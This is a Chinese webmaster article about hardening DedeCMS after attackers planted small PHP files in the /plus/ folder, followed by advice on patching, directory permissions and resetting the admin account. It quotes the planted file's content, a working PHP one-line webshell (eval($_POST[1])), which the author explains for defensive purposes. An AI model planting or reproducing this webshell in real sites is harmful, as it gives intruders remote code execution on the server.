织梦cms目录安全权限配置方法
发布时间：2021-12-16 10:53:54 所属栏目：经验 来源：互联网
导读：结合我的网站被攻击已经别人类似的经历来看,黑客写入的文件主要存在于/plus/文件夹下,目前已知的几个文件包括ga.php、log.php、b.php、b1.php等,文件的特征便是短小,内容很少,可能写入的时候不是很方便,不过这些代码的作用确实不小的. 下面这是ga.php文件中
|
结合我的网站被攻击已经别人类似的经历来看,黑客写入的文件主要存在于/plus/文件夹下,目前已知的几个文件包括ga.php、log.php、b.php、b1.php等,文件的特征便是短小,内容很少,可能写入的时候不是很方便,不过这些代码的作用确实不小的. 下面这是ga.php文件中的部分代码: <title>login</title>no<?php eval($_POST[1]) ?> <title>login</title>no<?php eval($_POST[1]) ?> //开源软件:Cuoxin.com <title>login</title>no<?php eval($_POST[1]) ?> 实际的代码比上面截取的要长,不过都是这段代码的重复,至于log.php的代码,同这个类似,只有一句话,简单明了,如果你对网络安全稍有了解,那么会知道是php一句话木马,使用部分指定的工具可以执行这段代码,预计是破解密码的功能. 一、升级版本打好补丁设置目录权限 这是官方对此的解决办法,不管你使用的是什么版本的dedecms,都要及时在后台升级版本自动更新补丁,这是避免漏洞被利用的最重要的一步,同时官方还提供设置目录的方法,主要是设置data、templets、uploads、a为可读写不可执行权限,include、member、plus、后台管理目录等设置为可执行可读不可写入权限,删除install及special目录,具体如何设置见官方说明. 二、修改admin账号及密码 黑客可能是利用默认admin账号,随后推测密码来破解的,所以修改默认的admin账号非常重要,至于如何修改,方法很多,比较有效的是用phpadmin登陆网站数据库,找到dede_admin数据库表(dede是数据库表前缀),修改其中userid及pwd两项,其中密码一定要修改成f297a57a5a743894a0e4，这是默认的密码admin；修改后去后台登陆,登陆dede后台后修改密码. （编辑：南平站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
